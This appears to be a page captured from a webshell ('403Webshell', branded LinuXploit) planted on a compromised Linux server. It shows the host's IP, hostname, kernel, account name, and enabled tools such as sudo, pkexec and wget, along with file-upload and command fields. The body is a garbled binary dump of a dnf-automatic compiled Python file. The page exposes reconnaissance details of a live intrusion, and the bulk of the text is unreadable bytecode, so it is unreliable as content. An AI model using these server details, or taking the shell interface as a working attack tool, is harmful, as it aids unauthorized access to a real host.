403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/dnf/automatic/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/dnf/automatic/__pycache__/main.cpython-36.pyc
3

�ft`$5�@snddlmZddlmZddlmZddlZddlZddlZddlZddlZddl	m
Z
mZmZddl
Z
ddlZ
ddlZ
ddlZ
ddlZ
ddlZ
ddlZ
ddlZ
ddlZ
ddlZ
ddlZ
ddlZejd�Zdd�Zd	d
�ZGdd�de�ZGd
d�de�Z Gdd�de �Z!Gdd�de �Z"Gdd�de �Z#Gdd�de#�Z$Gdd�de �Z%dd�Z&dd�Z'dd�Z(dd �Z)dS)!�)�absolute_import)�print_function)�unicode_literalsN)�_�ucd�P_�dnfcCs�tjjg�}|jj}|jj}|r�x�|D]�}|dkrPtjjj||j	�}|j
|�q&|dkrrtjjj|�}|j
|�q&|dkr�tjjj|�}|j
|�q&|dkr�tjjj
||j�}|j
|�q&|dkr�tjjj||j�}|j
|�q&tjjd|��q&W|S)N�email�stdioZmotd�command�
command_emailzUnknown emitter option: %s)r�utilZ
MultiCallList�emitters�system_name�emit_viaZ	automatic�emitterZEmailEmitterr	�appendZStdIoEmitterZMotdEmitterZCommandEmitterrZCommandEmailEmitterr�
exceptions�ConfigError)�confrrr�namer�r�/usr/lib/python3.6/main.py�build_emitters0s,
rcCs�tj�}|jddtjjd�|jddd�|jdddd	�|jd
ddd	�|jddd
d	�|jddd
d	�|jdd�|jdd�|j|�|fS)N�	conf_path�?)�nargs�defaultz--timer�
store_true)�actionz--installupdates�installupdates)�destrz--downloadupdates�downloadupdatesz--no-installupdatesZstore_falsez--no-downloadupdates)r )r")�argparse�ArgumentParser�add_argumentr�const�CONF_AUTOMATIC_FILENAMEZset_defaults�
parse_args)�args�parserrrr�parse_argumentsJsr+c@s&eZdZddd�Zdd�Zdd�ZdS)	�AutomaticConfigNcCs�|stjj}t�|_t�|_t�|_t	�|_
t�|_d|_
|j|�|rRd|j_n|dkrbd|j_|rpd|j_n|dkr�d|j_|jj�||_dS)NTF)rr&r'�CommandsConfig�commands�EmailConfigr	�EmittersConfigr�
CommandConfigr�CommandEmailConfigr�_parser�_load�download_updates�
apply_updates�imply�filename)�selfr8r"r rrr�__init__Ys&



zAutomaticConfig.__init__cCs�tjj�}y|j|�Wn`tk
rN}ztjjd||f��WYdd}~Xn,tk
rx}zt	j
|�WYdd}~XnX|jj|d|tjj
j�|jj|d|tjj
j�|jj|d|tjj
j�|jj|d|tjj
j�|jj|d|tjj
j�||_dS)NzParsing file "%s" failed: %sr.r	rrr)�libdnfrZConfigParser�read�RuntimeErrorrrr�IOError�logger�warningr.�populate�OptionZPriority_AUTOMATICCONFIGr	rrrr3)r9r8r*�errrr4qs"
$zAutomaticConfig._loadcCs|j|jd|jtjj�dS)N�base)Z	_populater3r8rrZPRIO_AUTOMATICCONFIG)r9Zbaseconfrrr�update_baseconf�szAutomaticConfig.update_baseconf)NNN)�__name__�
__module__�__qualname__r:r4rErrrrr,Xs
r,c@s$eZdZdd�Zdd�Zdd�ZdS)�ConfigcCs
i|_dS)N)�_options)r9rrrr:�szConfig.__init__cs<||j�<�fdd�}�fdd�}tt|��t||��dS)Ncs|j�j�S)N)rJ�getValue)�obj)rrr�prop_get�sz#Config.add_option.<locals>.prop_getcs|j�jtjjj|�dS)N)rJ�setr;rrBZPriority_RUNTIME)rL�val)rrr�prop_set�sz#Config.add_option.<locals>.prop_set)rJ�setattr�type�property)r9rZ	optionobjrMrPr)rr�
add_option�s
zConfig.add_optionc	Cs�|j|�r�x�|j|�D]�}|j||�}|s4|dkr8d}|jj|d�}|r�y|j||�Wq�tk
r�}z,tjt	d�t
|�t
|�t
|�t|��WYdd}~Xq�Xqtjt	d�t
|�t
|�t
|��qWdS)z+Set option values from an INI file section.�None�Nz,Unknown configuration value: %s=%s in %s; %sz+Unknown configuration option: %s = %s in %s)Z
hasSectionZoptionsrKrJ�getrNr=r?�debugrr�str)	r9r*Zsectionr8Zpriorityr�value�optrCrrrrA�s

0zConfig.populateN)rFrGrHr:rTrArrrrrI�srIcs$eZdZ�fdd�Zdd�Z�ZS)r-cs�tt|�j�|jdtjjd��|jdtjjd��|jdtjjd��|jdtjjdtjj	ddg���|jd	tjj
d
��|jdtjj
d��dS)
Nr6FZbase_config_filez/etc/dnf/dnf.confr5�upgrade_typer�security�random_sleepi,�network_online_timeout�<)�superr-r:rTr;rZ
OptionBool�OptionStringZOptionEnumString�VectorString�OptionNumberInt32)r9)�	__class__rrr:�szCommandsConfig.__init__cCs|jrd|_dS)NT)r6r5)r9rrrr7�szCommandsConfig.imply)rFrGrHr:r7�
__classcell__rr)rerr-�s
r-cseZdZ�fdd�Z�ZS)r/csltt|�j�|jdtjjtjjdg���|jdtjjd��|jdtjjd��|jdtjj	d��dS)N�email_to�root�
email_fromZ
email_hostZ	localhostZ
email_port�)
rar/r:rTr;r�OptionStringListrcrbrd)r9)rerrr:�szEmailConfig.__init__)rFrGrHr:rfrr)rerr/�sr/cs$eZdZdZdZ�fdd�Z�ZS)r1�catz{body}cs>tt|�j�|jdtjj|j��|jdtjj|j��dS)NZcommand_formatZstdin_format)	rar1r:rTr;rrb�_default_command_format�_default_stdin_format)r9)rerrr:�s
zCommandConfig.__init__)rFrGrHrmrnr:rfrr)rerr1�sr1cs eZdZdZ�fdd�Z�ZS)r2z7mail -Ssendwait -s {subject} -r {email_from} {email_to}csDtt|�j�|jdtjjtjjdg���|jdtjjd��dS)Nrgrhri)	rar2r:rTr;rrkrcrb)r9)rerrr:�szCommandEmailConfig.__init__)rFrGrHrmr:rfrr)rerr2�sr2cseZdZ�fdd�Z�ZS)r0cs^tt|�j�|jdtjjtjjddg���|jdtjjd��|jdtjj	t
j���dS)Nrr	r
Zoutput_width�Pr)rar0r:rTr;rrkrcrdrb�socketZgethostname)r9)rerrr:�s
zEmittersConfig.__init__)rFrGrHr:rfrr)rerr0�sr0cCsNd}x0|D](}|j|�\}}|dkr
d}tj|�q
W|sJtjjtd���dS)NTrFzGPG check FAILED)Zpackage_signature_checkr?Zcriticalrr�Errorr)rDZpkgs�okZpo�result�errmsgrrr�gpgsigcheck�s
ruc	s�|dkrdSdddd���fdd�}t�}xD|j�D]8}|j||j��|j||jg��|j||jg��q4W|sxdStjtd	��t	j	�}xdt	j	�||kr�xD|D]<\}}yt
j||fd
�}|j�dSt
j
k
r�Yq�Xq�Wt	jd
�q�WdS)a8
    Wait up to <timeout> seconds for network connection to be available.
    if <timeout> is 0 the network availability detection will be skipped.
    Returns True if any remote repository is accessible or remote repositories are not enabled.
    Returns False if none of remote repositories is accessible.
    rTroi��)ZhttpZhttpsZftpc3sHxB|D]:}tjjj|�}|jr|j�kr|j|jp:�|jfVqWdS)N)rZpycompZurlparseZhostname�scheme�port)Zurl_listZurlZ
parsed_url)�remote_schemesrr�remote_addresss

z(wait_for_network.<locals>.remote_addressz"Waiting for internet connection...�F)rNZiter_enabled�updateZbaseurlZ
mirrorlistZmetalinkr?rXr�timerpZcreate_connection�close�error�sleep)	�reposZtimeoutrzZ	addressesZrepoZtime_0�hostrx�sr)ryr�wait_for_network�s2
r�cCs�t|�\}}�y�t|j|j|j�}tj���z}tjj|�}|j	�d|j
_|j|j
�|j|d�tjtd��|jr�tjd|jj�}tjtdd|�j|��tj|�|j�|j�t|j|jj�s�tj td��|j!�|j"�t#||jj$�|j%�tjj&j'||j
�}|j(}|�sdS|j)|dd	�}	t*|�}
|
j+|	�|jj,�sT|
j-�dS|j.|j/�|
j0�|jj1�s~|
j-�dSt2||j/�|j3�|
j4�|
j-�WdQRXWn:tj5j6k
�r�}ztj7td
�t8|��dSd}~XnXdS)NT)�clizStarted dnf-automatic.rzSleep for {} secondzSleep for {} secondszSystem is off-line.ro)Ztotal_widthz	Error: %sr{)9r+r,rr"r rZBaser�ZCliZ_read_conf_fileZdemandsZ	resolvingrErZinit_pluginsr?rXrZtimer�randomZrandintr.r^r�formatr}r�Zpre_configure_pluginsZread_all_reposr�r�r_r@Zconfigure_pluginsZ	fill_sack�upgrader\Zresolve�outputZOutputZtransactionZlist_transactionrZnotify_availabler5ZcommitZdownload_packagesZinstall_setZnotify_downloadedr6ruZdo_transactionZnotify_appliedrrqrr)r)Zoptsr*rrDr�Zsleeperr�ZtransZlstr�excrrr�main s\




r�cCsX|dkr0|jj|jj�j�jdd��|j�n$|dkrB|j�ntjj	dj
|���dS)Nr])Z
advisory_typerzFUnsupported upgrade_type "{}", only "default" and "security" supported)Z_update_security_filtersrZsackZqueryZupgradesZfiltermZupgrade_allrrrqr�)rDr\rrrr�]s


r�)*Z
__future__rrrr#Zloggingr�rpr}Zdnf.i18nrrrrZdnf.automatic.emitterZdnf.cliZdnf.cli.cliZdnf.cli.outputZdnf.confZ	dnf.constZdnf.exceptionsZdnf.utilZdnf.loggingZ
dnf.pycompZlibdnf.confr;Z	getLoggerr?rr+�objectr,rIr-r/r1r2r0rur�r�r�rrrr�<module>sD
1#

	0=

Youez - 2016 - github.com/yon3zu
LinuXploit